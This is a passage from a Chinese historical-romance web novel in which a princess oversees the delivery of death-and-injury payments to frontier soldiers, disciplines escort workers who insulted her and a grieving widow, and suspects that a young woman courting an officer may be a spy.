明珠来到镖箱跟前，四周的目光紧随，新奇、探究，同样也有不怀好意。
“这窑儿果实，盘儿尖啊。”
“臭子点。”另一人嗤笑一声，调笑道，“依我看，不比嘴子。”
闻言，梅辛停住脚步，寻向声源，冷眼扫过倚在墙边的那两人。
那两人注意到视线，压低声音。
“鼓了，那小子恐是个半开眼。”
见那两人没敢再言语，梅辛收回目光。
后院中，榆木疙瘩制成的镖箱里头，装满了白花花的银两，账房先生用秤砣一一称过，票号掌柜核对完银票，确认无误。
“回东家，查验清楚，可以收货了。”
“好。”
明珠在镖单上盖上印章，交付给镖头王藏。
月记外，董向阜已亲自带人在外等候，伙计来报，明珠去门口相迎。
梅辛却没有跟着出去，而是转身走向王藏。
“小兄弟，有什么事吗？”
“同兴镖局小弟也有所耳闻，京中颇具威名，王镖头为人，更令小弟敬服。
“这次走镖，山高路远殊为不易，能顺利抵达，王镖头和诸位镖师劳苦功高。”
“过誉了，都是应该的。”王藏笑道。
“无规矩不成方圆，想来王镖头治下有方，才得以镖路亨通。”
听他这话，王藏咂摸出不对劲，试探道，“可是有手底下人鲁莽，开罪了小兄弟？”
“墙边那二人调侃儿，对我家主子不敬。”梅辛目光犀利，冷声道，“王镖头，这可是大忌，他们的脑袋若是不想要，我替您摘了。”
王藏看向墙边，见那两人心虚躲闪，便心下了然。
他快步上前，一伸手。
啪！啪！
给了那二人两个大耳刮子。
“混账！老子看你们是又犯浑了，把嘴巴放干净点，再他妈乱说话，你们两个的小命就别要了！”
106.祸从口出
江湖，有江湖的处世之道。
无论打把势卖艺、挑方卖药，还是镖局这等常规营生，终要在江湖立足。
各行江湖人所说的术语，即为“调侃儿”，侃儿又被统称为“春点”，作为内行的说话门道，生意饭的立足之本。
那二人以为他们是“空子”，不明白江湖事，便调侃儿冒犯。
王藏出手干脆，铁扇似的巴掌扇下去，那二人站都站不稳，眼冒金星，嘴角渗血，口中连喊饶命。
其他人或看在眼里，或听到动静转过来，见出手的是王镖头，便都没有动作。
“藏爷教训的是！我们哥俩知错！！”
“是、藏爷饶命！”
梅辛抱臂，冷眼观瞧。
王藏这种人精，定然已经猜出货主的身份，他对那二人出手重些，并非正义使然，而是为保住他二人的命。
“小兄弟，他们二人嘴欠，不懂规矩，王某回去定好好整治！还请小兄弟高抬贵手，这份人情，王某一定记得！”
“王镖头义薄云天，这个面子小弟定然要给。”梅辛笑道。
王藏不由松了口气，却又听此人话锋一转。
“只是祸从口出，还望他们牢牢记住，今日这个教训。
“来日，便没有这么轻易了。”
梅辛撂下话后，便走了。
镖队这边，刚去完茅房的张岱，见镖头身边那俩人脸肿成猪头，臊眉耷眼地站着。
“藏爷，这是怎么了？”
“这俩蠢货不惜命，”王藏怒瞪着墙边两人，“两张臭嘴乱喷粪，让人家抓个正着。”
“嘿，好嘛，瞧你俩办的什么差池事儿！”张岱上前，帮腔道，“嘴上没个把门儿，一天到晚尽给藏爷惹事，滚滚滚，别在这儿碍眼了。”
那两人夹着尾巴，灰溜溜地躲远了。
“藏爷别气了，他们俩您又不是不知道，浑不吝的东西，教训两下算了，都是兄弟，别真动气。”
“平日也就算了，这次碰上的是硬茬儿，他们今后有苦头吃。”
虽说他今日保下他们，可听那人口风，还不愿轻易放过。
还有——
那张脸，还有他说话时的语气，王藏总觉得在哪儿见过。
半生巡过，王藏自认称得上是阅人无数，若他觉得熟悉，必定从前打过交道。
他目光审视，若有所思道，“张岱，你觉不觉得那人有些眼熟？”
“谁？”
张岱跟着王藏的示意，将视线移向那边，注意到了不远处的梅辛。
“您是说，那个小哥？
“眼瞧着倒是年纪不大，脚步沉稳，是个练家子，步态规范，还是行伍中人，个子不低，长相也挺好。
“按理说，要是见过这等人物，不该眼生，可真没什么印象啊……”
在过往搜寻过一圈，也未见熟悉。
张岱搓了搓手，笑道，“藏爷您也知道，我不爱和那些乳臭未干的臭小子打交道，怎么，他有来头？”
王藏轻叹了口气，说道，“算了，许是我多心了。”
脚步声近，董向阜一行人来到后院，镖队里立刻有人认出他，互相递着眼色。
“诸位辛苦，接下来就由我们接手。”董向阜说道。
“得，那东家，我们就先告辞了。”
王藏看出是董向阜，并不多话，只向明珠抱拳告退。
路上，那猪头二人组贴到王藏身边。
“藏爷，那、那位不是董向阜董将军吗？！”
王藏瞥了他一眼，“怎么，你有交情？”
“呵，藏爷哪里的话，您这不是寒碜小弟嘛，咱要是有那交情，早就飞黄腾达了。”
“那……那个月记的东家，是他什么人啊，不会是他女人吧？”
王藏脸色难看，一副恨铁不成钢的模样。
“有眼无珠的玩意儿，那位是大梁的长公主！”
不多时，票号取出的银两也被运回军营。
营帐中，董向阜亲自核对着数目和分配名单，手下的兵丁将赏银分别装封。
“死伤一千一百四十二人，其中，阵亡一百二十七人。
“这批银两共十二万两，每人名下所分一百两，余五千八百两，请殿下过目。”
明珠拿过名册账本，上面记录过每一位伤亡将士的具体情况，包括籍贯、亲眷关系、住址，以确保无虞。
“好，这些就有劳将
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军去办了。”明珠翻看完，将名册递给董向阜，“对了，之前统计的战果可报送京城了？”
“是，都已呈报兵部，兵部回执，论功行赏，授封的旨意将于元宵后抵达北境。”
小酒馆中，镖队的兄弟们领了赏钱，要了几坛好酒。
众人凑在桌旁，上面摆着买来的酱大骨和热气腾腾的锅子，里面炖煮着羊肉、萝卜、冻豆腐、粉条等菜码。
镖队里不明真相的几人，问起猪头二人组。
“聪子你俩怎么挨了镖头打了？”
“妈的，别提了，动了太岁土了。”刘聪压低了声音，神神秘秘道，“你们还不知道吧，就今日在店里那个东家，那是咱们大梁的长公主！”
此话一出，众人皆是一愣。
问话之人面露惊诧，“你是说那位是——？！”
“可不嘛，我跟猴三儿吓得屁都崩没了，跟在长公主身边那家伙可不简单，看着毛没长齐那样，愣是听出来我俩说的春点，你说他娘的倒霉不倒霉。
“要不是藏爷大耳巴子先扇过来，卖了个人情，我俩真他娘的小命不保。”
“哈哈哈，要我说，你俩就是活该。”
一听说货主是长公主，众人仿佛打开了话匣子。
“我听说，长公主用私库给阵亡的人发赏银，那咱们走的这趟镖，难不成就是这个？”
“赏银？这么多钱？我还以为军饷呢。”
“我就说你蠢，军饷怎么可能让咱们私下押送。”
“那赏银为啥不让朝廷送？”
“废话。”那人压低了声音说道，“等朝廷的赏银送到北境，都不知道能剩多少，说到底，谁会服一个二十出头的小子，要不是他爹，他能安稳坐上将军之位？”
酒过三巡，众人脸上浮现醉意，大剌剌地倚靠着桌椅。
“也不知道长公主怎么想的，”猴三举着酒碗，晃悠道，“把钱给残废和死人，死人能念她的好？还不如给活人花。”
“你是想说，还不如给你花吧。”
“嘻嘻，都给我我也不嫌多。”
唰啦——
“诶呦卧槽，什么玩意儿！！”
一盆水浇下来，猴三瞬间透心凉。
107.和平，永远珍贵
棉衣吸满了水，寒冬下，如坠冰窟。
一转头，身后站着店里的老板娘，正举着木盆，盆中的脏水已尽数在他身上。
猴三怒急，拔出刀来就要砍人。
“你他娘的找死！！”
身边几人见事不妙，急忙上前阻拦，揽过肩膀，拉下发狠的胳膊。
“欸欸欸！别动手！！”
“这儿离军营不远，若是伤了人，可就坏事了！”
猴三挣脱着两旁的束缚，怒吼道，“横竖一条命，老子给了，今天必叫这个娘儿们知道她阎王爷爷不好惹——！”
“何人闹事！”
店门外来了两名士兵，见里面乱乱哄哄，上前一把擒住猴三。
配刀被打落，掉在地上，猴三哀嚎一声，双臂反扭在身后，脸被死死抵在桌上。
旁边几人忙为猴三辩解。
“大人，误会误会！哥几个闹着玩的！”
“大人饶命，这厮喝多了犯浑，绝没有冒犯之意！”
这两位铁甲寒光，一瞧便是军营里的官兵，猴三不禁心中发怵，嚣张气焰烟消云散，求饶起来。
“是啊，大人饶命，您瞧小人我这一身脏水，方才这娘儿们先动了手，小人就想吓唬吓唬她，真是闹着玩、闹着玩的！”
“还有这么闹着玩的啊。”
一个女声响起，众人的视线皆投向门口。
士兵压制着猴三，跪地行礼道，“参见长公主殿下。”
明珠迈进店中，从地上捡起猴三掉落的佩刀。
走近几步，抵在他的脖颈上。
“我这么跟你闹，好玩吗？”
“不、不好玩……”
猴三哆哆嗦嗦，浑身散发着皂角的气味，嘴唇发紫，身上的水已然冻冰。
“你们是同兴镖局的吧，”明珠卸下刀，看向其他人，“带他回去换身衣服，要不再过一会儿，他恐怕要冻死了。”
长公主发了话，两个士兵才松开他，猴三腿脚发软，气弱地垂下身子。其他几人忙搀起他，躬身谢恩。
“多谢长公主殿下开恩！！”
明珠扫了这群人一眼。
“但这件事，可不算完。
“你们给我的人留个地址，我问清原委之后，还要找你们。”
“是、是，小人们明白……”
几人搀扶着猴三，火急火燎地离开了。
站在一旁的老板娘这才泄了力气，跌坐在椅子上，颓然放下手中的木盆，却又恍若惊觉，连忙起身向明珠跪地行礼。
“草民参见长公主，谢长公主救命之恩！”
“不必如此，”明珠把她扶起来，“我不过是碰巧路过，救你的是这两位同志，呃……军官。”
老板娘走向两位士兵，行礼道谢。
“多谢两位大人！”
其中一名士兵上前，说道，“荣嫂，是我啊。”
老板娘抬起头，恍然大悟道，“小张兄弟，原来是你啊，方才兵荒马乱，没认出你来。”
“荣嫂，我们这次来，是遵将军之命。”
士兵将封盒的百两银拿出，双手递给老板娘。
“将长公主殿下所赐的……荣大哥的抚恤金送来。”
听到这话，荣嫂咬着下唇，低下头，略微颔首。
“多谢殿下，多谢将军。”
没想到，眼前这位就是烈士遗属。
明珠看着这一幕，心里有些不是滋味。
北境将士以本地人居多，那本名册上所录人员，几乎一半都是北境本地，也有些是入伍后迁居北境，安家落户。
两名士兵送完抚恤金，还帮着收拾了满地狼藉，向明珠告退后，才离开酒馆。
待酒馆只剩明珠几人和老板娘，她才徐徐问出问题。
“刚才，究竟发生了什么事？”
老板娘垂眸，轻声说道，“不过就是几个爷儿们吃酒，吃醉了犯浑，说了些……不中听的话，长公主殿下不必放在心上。”
她抱着那个木匣，神情怆然，仿佛里面盛的不是银两，而是亲人的骨灰。
事实上，的确如此。
“您是本地人吗？”明珠问道。
“是。”
“跟我聊聊北境，可以吗？”
荣嫂望向门外喜气洋洋的人们，目光悠远。
她出生时，北境正值齐铭将军统辖。
他是北境的战神，带领着北境将士打了一场又一场胜仗。那时候，北境人人骨子里皆是傲气，对战事的狂热也非比寻常。
她爹说过
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，梁国男儿此生所愿，就是在齐铭将军手下当兵。
可惜，天妒英才。
齐铭老将军年仅四十病逝，她爹便投入镇国公麾下。
人人都说，镇国公比不上他师父齐铭，急功近利，那些年他们和戎狄打得很艰难，有几场仗伤亡惨重，她爹也因此战死沙场。
后来镇国公上奏，让北境和戎狄开启了互市，尽管偶有冲突，他们却也因此得以休养生息，过了几年安稳日子。
“您知道，这街巷中灰岩石板路的由来吗？”
“嗯，听说是齐铭将军当年派人修筑的吧。”
“其实当年，齐铭将军只修筑了通往军营的石板路，是镇国公将其扩大到整个北境城。”
霜雪皑皑的前半生，她曾被激昂渲染，也曾因落败灰心，最终却在那些平和的日子里，找回了自己想要的生活。
可如今，她的夫君又是同样的结局。
他们有济世报国的雄心壮志，她不是不懂，若她是男儿，也会和他们一样参军入伍，捍卫国境。
所以，这日子不好过，她也能过。
自从齐铭将军和镇国公相继离世，北境百姓如同失去了主心骨，此番打了和戎狄的胜仗，人人脸上皆是喜色，挺直了腰板走路。
荣嫂抬眸，注意到长公主听得认真。
“民妇并非心有不满，边境不稳，便是整个北境都难以安定。
“只是……他们一个个离我而去，难免，心里空落落的。
“我每日都能听见校场的操练声，但我的亲人却不在那儿了。”
待众人走后，荣嫂来到柜台后面，将方才取出的亡夫衣物，又重放回盆中洗过。
过年期间有诸多禁忌，尤其是正月初一到初五这段时间，不能泼水，不能吵架，也不能动水洗衣。
积攒了好几天的衣服，到了正月初六就可以收集起来清洗。
关于正月初六洗衣的习俗，出自一个神话传说。
相传，人们在人间洗衣用过的脏水，会由掌管水的天神专门保管，等到人去世之后来到地府，便要将自己衣物的脏水喝完，才可以重新投胎托生。
而这位天神拥有一颗怜悯之心，每当正月初六这天，会将脏水放出去一些，以便之后，人们早些重新投胎。
108.记得和上司对齐颗粒度
客栈中，王藏正和张岱在一楼大堂小酌。
“藏爷，您说那位货主子是——”
张岱瞪大了眼睛，环视四周后，小声道，“长公主？！这您怎么没跟我们提前通个气儿啊！”
运镖之事，因其涉及银两数额巨大，又事关北境将士封赏，镖局掌柜特地托了总镖头王藏押运，此前也向他言明要害。
起初，只有王藏一人知晓货主和货物内情。
如今既然送到，尤其是镖队里也有些个不开眼的家伙，王藏便没再藏着掖着，透露出些消息，好叫那几个别再乱说话。
“那……聪子和猴三不会说了什么掉脑袋的话吧？！”张岱紧张道。
“我正是担心这点——”
王藏话还没说完，就见门口几个镖队的弟兄簇拥着一人，乱乱哄哄地回来。
见状，王藏和张岱忙起身，问道，“怎么了这是？”
“镖头，猴三淋了水，得赶紧换下衣裳，要不该冻出毛病了！”
王藏快步走近，见猴三面色铁青，嘴唇白得发紫，衣服上都结出了冰霜。
“快快快！快回房里，把他湿衣换下来！”
王藏急带着人，把猴三送回房中，将他身上的衣服扒下，赤条条塞回被褥中。
床上，猴三不停打着颤，王藏忙伸手探了探温。
“猴三！猴三！知道我是谁吗？！”王藏在他眼前喊道。
猴三眯缝着眼，说着话，牙齿都打颤。
“藏……藏、爷。”
“觉不觉得冷？”
“冷……冷。”
能还觉得冷，便不至于失温过头。
王藏沉着道，“还不算太严重，拿个炭盆来，再给他灌些温水。”
如今天寒，店里常备着热水，王藏命人取来一些灌进牛皮水壶中，分别放在猴三脖子、腋窝、腹股沟几处。
“看好他，若是尿了四五回，或是不觉冷掀被子，就赶紧来叫我。”
王藏吩咐完，扫了眼回来的那几人。
“刘聪，你跟我出来。”
房间外，刘聪刚想开口，便被王藏制止，他观察左右，拽过人来到角落。
“究竟怎么回事？”
王藏心想，难不成是长公主那里，派人动的手？
“藏爷，这回真不怨我们！”
迎着王藏质疑的目光，刘聪不由心虚起来，声音也矮了几分。
“也……也算是怨我们吧。
“我们不过吃了酒，说几句玩笑醉话，猴三就被那店里的老板娘一盆凉水泼下来。
“您说这大冷天的，水都能冻成冰疙瘩，更何况是人，您说这不是要他的命嘛！”
几句玩笑醉话？
凭着他们的德行和猴三那张破烂嘴，王藏怎么也信不过刘聪这番说辞。
“你们都说了什么。”
刘聪眼神躲闪，支支吾吾道，“左不过，是说起长公主赏银这事儿……”
“你们不会又编排了长公主殿下什么话吧？！”
“不不，我们哪儿敢再说那等放肆的话，就是借我十个胆子，我也不敢啊！”
“那猴三呢，人家整治他是为着什么？”
“许是猴三他，他说了句——长公主那赏银，给死人花，还不如给活人花……”
“混蛋！！”
王藏气极，恨不得咬碎一口银牙。
“说他妈这种狗屁混账话，别说是泼水，就是当街被人活活打死，也是死有余辜！！”
就知道那厮狗嘴里吐不出象牙，成天为着他那张臭嘴，不知道惹了多少祸，得罪了多少人。
镖局里没哪个镖头容得下猴三，还是王藏心实，为着不让猴三丢了饭碗，才把他留在自己镖队里。
本以为上次差点被扫地出门，能叫猴三长些记性，没想到还是这副德行。
“喝了几泡马尿，就不知道自己姓甚名谁了！好啊、真是好样儿啊！
“老子是保不住他了，我这庙小，容不下他这尊大佛，等他好了就让他赶紧给老子滚蛋！！”
看着王藏七窍生烟的脸色，刘聪欲言又止。
他心里怂的不行，却又怕此事不说明，待会儿事情败露，火上浇油。
思前想后，刘聪还是硬着头皮开口道，“藏爷，其实，还有一事……”
“还有什么？！”
王藏嗓子不由发紧，真是怕了他们了。
抵达北境前一天，他还庆幸这一趟没出什么大差错，如今交完了货，以为事情了结，这紧绷的弦终于能松松。
才一天的功夫，他就折了将近十年
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的寿命。
“长公主后来，也、也来了，说这件事不算完，叫我们留了住址，说事后要来找我们。
“藏爷，这、这怎么办啊……”
听到他的话，王藏一口气险些喘不上来，死死瞪着眼前之人，鼻孔怒张，连半话都说不出来。
最终，恨得一脚跺地。
“老子不管了！便是要你们的命也尽管拿去！！”
京城，三王府中。
三王亦是气过了头，瘫倒在椅背上，说话都有气无力。
“这是第几家了……”
田康眼觑着三王，为难道，“第七家了……”
“七家——他们整整砸了本王七家店铺！
“土匪！！地痞流氓！！”
自从上次御书房传话，皇兄被李凌霄蒙蔽，信了齐家之事是他所为。
虽说今后按下不提，还让他待在家中，静待事情冷却平息，但李凌霄那边断断不会为了他，向齐家分辨真相。
这不，齐家那群疯狗，现如今每日日程，便是到三王名下的产业，来个一日游，轰走了客人不说，还动不动闹事起争执，砸了东西便逃走。
有几次，三王忍无可忍，派人报了官。
衙门左右为难，被迫差人到齐侯府上拿人，却一应被拦在门外。
齐家扬言对此事毫不知情，还挑衅说，三王砸了齐铭老将军的灵位还能拒不承认，他们凭什么无辜认罪。
“本王如今真是希望，齐二那伤是本王动的手，如此，这心里还能痛快痛快！”
“王爷您别急，曲少卿也在外忙前忙后，想法子为您洗冤呢。”
提及曲昶，三王冷笑一声。
“说起他来，本王就气，当初信誓旦旦说查到盗取齐铭牌位的真凶，这都过了多久了，还是没抓到人！
“本王早就说过，让他私下向齐家透露此事是董向阜栽赃本王，那不知变通的榆木脑袋，偏要什么证据？
“你说可笑不可笑，是本王的清白要紧，还是他的证据要紧？管他是谁干的，董向阜那小子的生死又与我们何干？
“现如今倒好，让李凌霄逮着机会，把脏水都泼在本王身上，给他齐家交差！
“砸吧！那便砸吧！本王有的是银钱铺面，叫他们随便砸，本王耗的起！”
109.天涯沦落人
客栈内，明珠看着眼前仿佛老了十岁的王藏。
“半日未见，王镖头憔悴了不少啊。”
“长公主殿下恕罪，都是小人管教不严……”
王藏扑通一声跪倒在地。
“是罚是杀，皆由王某一人承担！还望殿下您息怒——！”
这阵仗，倒叫明珠吓了一跳。
“王镖头为人仗义，他们出了差错，还要你这顶头上司担责。”
说白了，王藏也是无妄之灾，不过就个领头带队，又不是他们亲爹，别人私下德行如何，与他有什么关系。
“口出狂言，自然该罚。
“至于王镖头您嘛，若他们站着出来、躺着回去，想来您作为顶头上司，也不好交差。”
“是……感激殿□□恤小人。”
指尖敲击着桌面，明珠斟酌着如何处置这帮人。
“这样吧，王镖头陪着他们几人留下，在这儿听候差遣，做一段时间的苦力，就当是将功折罪，弥补过错。”
王藏长舒一口气，如释重负。
“谢殿下开恩！小人们自当为殿下和北境效力！”
“不过，也别高兴得太早。”
明珠话锋一转，王藏的心又提到嗓子眼儿。
“今日即便你揽下所有罪过，依旧保不住他们将来，人贵在自救，靠他人，是活不长久的。”
人人都有陋习，可有些人能改好，有些人不能。
明珠倾身，面色深沉。
“倘若他们劫后余生，心有侥幸，忘了要谨言慎行，那便万事由天，由不得人了。”
王藏一怔，末了，应声道，“小人谨记长公主教诲。”
明珠欣慰点头。
朝廷初七便会开朝，她预备明日带人去雁岭山上采样，交由府衙各级递送，呈报中央，获得开采审批。
正好，镖队的那些人，用得上。
日落月升，夜幕降临。
刚一拉开别院的大门，就见门外一人正伸手敲门，盈盈灯火点亮，映在来人俊朗的面容上。
两人对视，皆是一愣。
“裴元？”
“殿下。”
裴元蜷回手，摆正位置。
“你回来了啊。”
“是，不知您这几日是否住得惯，别院若有照顾不周、怠慢殿下之处，还请殿下见谅。”
“刘叔很周到的，你放心。”
听明珠这称呼，裴元轻笑，这位还是一如既往，不拘小节。
“那就好，殿下这是要出门吗？”
“对啊，晚上出去吃饭。”
明珠在酒楼定了桌，今晚带着兰萤他们下馆子。
“殿下一个人？”
“没有，家里小孩换新衣服，互相臭美呢，我就先出来等他们了。”
正说着，身后传来吵嚷声，由远及近，明珠不回头都知道，又是兰萤和梅辛在斗嘴。
她冲裴元无奈地笑了笑，却见裴元面露拘谨，仿佛有什么话想说。
“你来找我，是有什么事吗？”明珠问道。
裴元被点破心思，赧然道，“是有些事。不过，也不急于一时，卑职改日再来登门，就不叨扰殿下了。”
“没关系，那不你和我们一起吧，人多热闹嘛。”明珠笑道，“走吧，别推辞。”
酒楼，二楼雅间内。
看着眼前醉醺醺的霍丘，董向阜无奈摇头。
“少喝点儿。”
霍丘却没能听劝，哭丧着脸，嘴里嘟囔不停。
“将军，我心里苦啊……”
明珠等人来到酒楼，路过隔壁雅间，发现里面的说话声十分耳熟。
“是霍副将。”裴元认出声音，对明珠说道，“想必将军也在。”
明珠犹豫着，要不要进去打个招呼，又听到里面传来阵阵啜泣声。
“先前说好上门提亲，为何把我拒之门外……这些日子，柔儿对我忽冷忽热，难不成，她心里真有别人了吗？”
这语气，失恋了？
明珠和裴元对视一眼。
见她眼中掩饰不住的探究欲望，裴元无奈一笑。
“殿下，要进去打声招呼吗？”
“好啊！”
正逢店里的伙计送酒进去，房门敞开，明珠见缝插针，朝里面探头。
“霍副将，好巧，将军也在啊。”
身旁，裴元也向董向阜见礼。
“长公主殿下、裴元？”霍丘醉眼迷蒙，手指在两人之间晃悠着，“你们俩怎么……”
他忽而转头，一把抱住董向阜的肩膀，语重心长。
“
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将军，您和我同是天涯沦落人啊——”
“？”
董向阜起身，把霍丘一同拽起来，向长公主行礼。
“霍副将这是怎么了？”明珠问道。
“长公主殿下，”霍丘踉跄了两下，委屈巴巴道，“殿下您也是女子，您说，她是不是心里有别人了……”
没等走近门口，就被竹临和梅辛拦住去路，霍丘抹了把眼泪，迷茫地看了看这两人。
“我、我想去外面吐一会儿，你们拦我做甚……”
明珠苦笑，叫人给他让了路。
霍丘扶着墙根爬了出去。
“唉，真是没出息。”董向阜扶额，“殿下见谅。”
“他这是，感情受挫了？”
知道她素来热衷于此，董向阜并未马上回答，而是看了眼她身后那群人。
明珠心领神会，对兰萤他们说道，“你们先去吃吧，我跟董将军有事情商议。”
兰萤满脸不忿，站着不肯走，梅辛薅着她的脖领子，把她拎了出去。
房内，裴元关上房门，转身回来。
“如今这又是何苦，早就劝过他……”
“他执意飞蛾扑火，你我又有什么办法。”
明珠诧异，问道，“你们俩都知道？”
“是……”裴元纠结道，“此事难以为外人道，可……实在是不成体统。”
那日，霍丘特地约了他与将军，说想要他们和他相好的姑娘见上一面，其实这于礼不合，人家是待嫁闺中的姑娘，怎么能在婚前与男子的朋友相见。
一开始，他和将军都婉拒了。
霍丘说那姑娘性情直爽，不拘泥于凡俗礼节，还时常和他谈起对将军的敬仰之情，说自小为家里长辈耳濡目染，对齐铭老将军、镇国公等英雄人物十分崇拜。
软磨硬泡了他们半日，将军才和他应邀前来。
谁知饭吃到一半，将军腾地一声站起身，摔下筷子就走了。
他一路追回军营，才看见将军小腿处摩擦出的女鞋鞋印。
明珠愕然，还真是不拘泥于凡俗礼节。
“将军顾及霍丘，才未将此事告知，可如今他为情所困，也怪我们当初未能及时劝他迷途知返。”
听裴元痛心疾首，明珠不免心虚，毕竟知情者里，也有她。
110.尊重，锁死
往事不堪回首，董向阜喝了口闷酒。
他们从年少时便结识，霍丘比他大两岁，是父亲战友的孩子，也是遗孤。
霍丘为人憨厚，内里心思细腻，极重情义，自从父亲亡故，霍丘陪着自己一路走来，与他情同手足。
他不愿霍丘被人蒙蔽，同样，也不希望他受伤。
“那不是该庆幸，人家没同意他上门求亲嘛。”明珠看着神色郁郁的两人，宽慰道，“若是她同意了，不就更不好办了？”
“殿下所言有理。”
吱呀一声，房门被推开。
霍丘踉跄着回来，吐完清醒了不少。
“殿下，卑职失态，让您见笑了。”
“无妨，霍副将也是至纯至性之人，遇到这种事难免伤怀。”
一旁，裴元也劝解道，“既然无缘，忘了便算了。”
谁知一听到这话，霍丘又红了眼睛。他哽咽着，蜷在墙边，像一头受伤的棕熊。
董向阜见状，猛灌一口后，便要把那人揪起来骂醒，却被明珠半路拦下。
她走过去，蹲在他面前，柔声道，“霍丘，你很喜欢她吗？”
霍丘垂着脑袋，闷声道，“嗯。”
“我能问问为什么吗？
“又或者说，你是什么时候喜欢上她的？”
霍丘抬起头，神色落寞。
去年，不，该是前年了，将军事忙，托他给长公主殿下选生辰礼。
他一个男子，来往交好的也都是些大老粗，哪知道该送姑娘家什么东西，有家室的那些，就算买给媳妇，也不过是些朴素的胭脂水粉，用心点的，买个镯子、钗环，就顶天了。
但这些，不能拿来送长公主殿下啊。
他没主意，便去街上选了间人最多的店，他看不出里头卖的是什么，只看门面装点的好看，里面年轻姑娘也多。
不过，都是姑娘家，他一个大男人进去挤，太不合适，于是就在外面等她们走完。
等他进去时，店门要关了，里头几个店员见他是男子，定然什么都不懂，忙了一天，也不大乐意费口舌，只说叫他明日再来。
“是柔儿，她说看我在外站了一日，问我想要什么，她给我拿，若我拿不定主意，她可以帮我挑……”
真是孽缘的连锁反应，明珠深深看了眼董向阜，难怪前年生辰，董向阜送的那套护发精油那么称心，感情是人家店员选的。
“柔儿人真的很好，说话都是轻声细语的。”
轻声细语？
这一点，明珠不敢苟同，那姑娘在校场时，可是肉眼可见的泼辣。
“而且……”霍丘垂眸，黯然神伤道，“其实我知道，她对将军的心意不一般。”
自从知道他是将军的亲随，柔儿对自己的态度明显亲近了许多，和他待在一起时，总催促他说起将军的事。
起初，他以为是出于崇拜。
将军年少披挂帅印，统兵数万，捍卫北境。在他眼中，将军是个心志坚毅、有责任担当的人物，值得被人敬仰。
既然柔儿愿意听，他就总和她说起将军，说起镇国公，每当她听到这些，眼睛都是亮晶晶的。
后来，柔儿说想见见将军。
在她央求之下，他心软了，见一见又何妨，左右等到他们成亲，还要请将军主婚。
可从那日起，将军对他们来往十分反对，他不知发生了什么，为何将军对柔儿有如此大的成见。
每当他追问起缘由，将军他们和柔儿都一副有难言之隐的模样，他便不再深究，又或许，他本心不愿深究。
有次，他发现她跑到军营附近，他以为她是来找自己，便特地请假去见她，没想到对方一开口，却又问起将军。
他再迟钝，也该知道，那并非单纯的崇拜。
可他回不了头，也不想回头。
“执迷不悟。”董向阜眉头紧皱，声音染上一层怒色，“你明知她这般待你，就该及时和她断干净！”
“可我稀罕她啊！”
“够了！”董向阜恨铁不成钢道，“何苦为了一个女人如此，你若不听劝，我明日就让人给你寻一门亲事，彻底断了你的念头。”
“等等等等，都别急。”
明珠忙劝道，“将军，跟我出来一下。”
走廊上，灯火通明，董向阜面上醉意显露，明珠
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问小厮要了盆清水，让他洗把脸清醒一下。
“将军，霍丘重视你，可这件事，他若不愿听你的，我希望将军不要逼他。”
“殿下这是何意？”董向阜不解道，“难不成，要我眼睁睁看着他被人蒙骗？”
“我知道，你是心疼霍丘，才会如此恼火。
“可感情是自己的事，旁人的劝告对于他而言，作用微乎其微，将军可以反对，却也不好替他做决定。”
“如何不能，”董向阜用手巾抹挲了两下，不悦道，“我明日便下令让他成婚，他敢违抗军令？”
明珠无奈一笑，董向阜这是病急乱投医。
“将军说的是气话，这可是霍丘的终身大事，你也不想他因此稀里糊涂的成婚吧，强扭的瓜不甜。
“我看得出来，他很喜欢那个姑娘。”
更何况，那俩人如今一个愿打一个愿挨，还挺般配。
“等成了亲，他自然就会收心。”董向阜反驳道。
“是，他或许有一天会回头，会想清楚自己当初所托非人，全心全意对待身边人，可那要多久，半年、一年？还是三五年？”
霍丘没有从过去里走出，另一个人却要因他陷进来，这不公平。
“将军，我看还是解决完眼下这件事，再做打算吧，否则，又要牺牲一个无辜的人。”
这并非能够自由选择的时代，倘若霍丘被迫同意，娶了其他女子为妻，可他心中还是忘不掉过去的人。
而他的妻子，在不知情的情况下，就这样被绑定终身，这太可怕，即便她事后得知，自己只是抚慰男人的一剂药，也没有退路。
“不过……”明珠斟酌道，“比起这些，有一件事，我更为担心。”
“何事？”
明珠看向董向阜，回想起鬼方交给她的罪证。
镇国公之死，便是戎狄、鬼方一手谋划的，当初他们把鬼方族长的妹妹——胡瑶，安插在董齐川身边，她虽不知胡瑶凭借了什么手段，能够虏获镇国公的心。
但同样的伎俩，他们会不会用两次呢？
“将军，那个姑娘接近霍丘，接近你，真的只是为了感情吗？”
111.流量反噬
此话一出，眼前之人瞬间沉静下来，脸色冷峻，宛如竖起鳞甲。
嗓音褪去浮躁，董向阜沉声道，“您的意思是，她另有所图？”
一谈及正事，便会将私人感情置外，这也是明珠最欣赏他的一点。
“猜测而已，将军莫要紧张，我只是觉得她如此行事，若说是为了得到你，也太无脑狂热了……”
即使是在京城，明珠也未见哪个姑娘能做到这种地步。
大家顶多私下议论几句，再大胆些，就装装偶遇，演个跌倒摔入怀中的戏码，作为曾经的旋涡中心人物，她对这些格外了解。
而董向阜本人，为避免肢体接触，早已练就以剑身扶人的铁腕技巧。
现如今，有人利用他身边之人，徐徐图之，这样繁琐又自损名誉的战术，完全就是伤敌一千自损八百。
她要是不多图点什么，明珠实在是想象不出，这么做是为什么。
“这话由臣来说，或许古怪，但她所为，在北境还算寻常。”
“什么？”明珠诧异，“你是说，你遇到过这种人？”
“嗯，从齐铭将军那时起，北境百姓对于将领统帅，就有了不同寻常的情怀，甚至是盲目拥戴。
“连齐二那样的人，也会被人惋惜，没能在北境领兵打仗。”
“就他？！妈呀，简直是天大的笑话！”
见她如此激愤，董向阜不由露出笑意。
“殿下今日所言，臣谨记于心。
“那姑娘的身份，也会派人详查，以免错漏，还请殿下放心。”
此时，被遗忘良久的另一个雅间内。
从进门起，两人就冷着脸，唯有梅辛一人大快朵颐。
“说了让你们别等，殿下指不定什么时候回来。”
“都怪你！”兰萤没好气地拿起筷子，埋怨道，“若不是你耽误，咱们早就动身出来了，怎么会被那个姓裴的碰上。”
“怪我？”梅辛嬉皮笑脸道，“是啊，也不知道是哪个小屁孩，非要跟我亮她的新鞋。”
“那谁让你踩我的绒布鞋！”
她当时话还没说完，就见梅辛闪身过来，等她回过神，鞋面的绒花就被踩上，她追着梅辛好打，谁知一到门口，又看见姓裴的站在门外，和殿下有说有笑。
“新鞋踩踩才接地气，我后来不是叫你踩回来了嘛。”
“能一样吗，我那是殿下给我买的！”
越说越气，兰萤从桌下寻梅辛的脚，狠狠踩上去，却被他麻利躲开。
这时，门口传来声音。
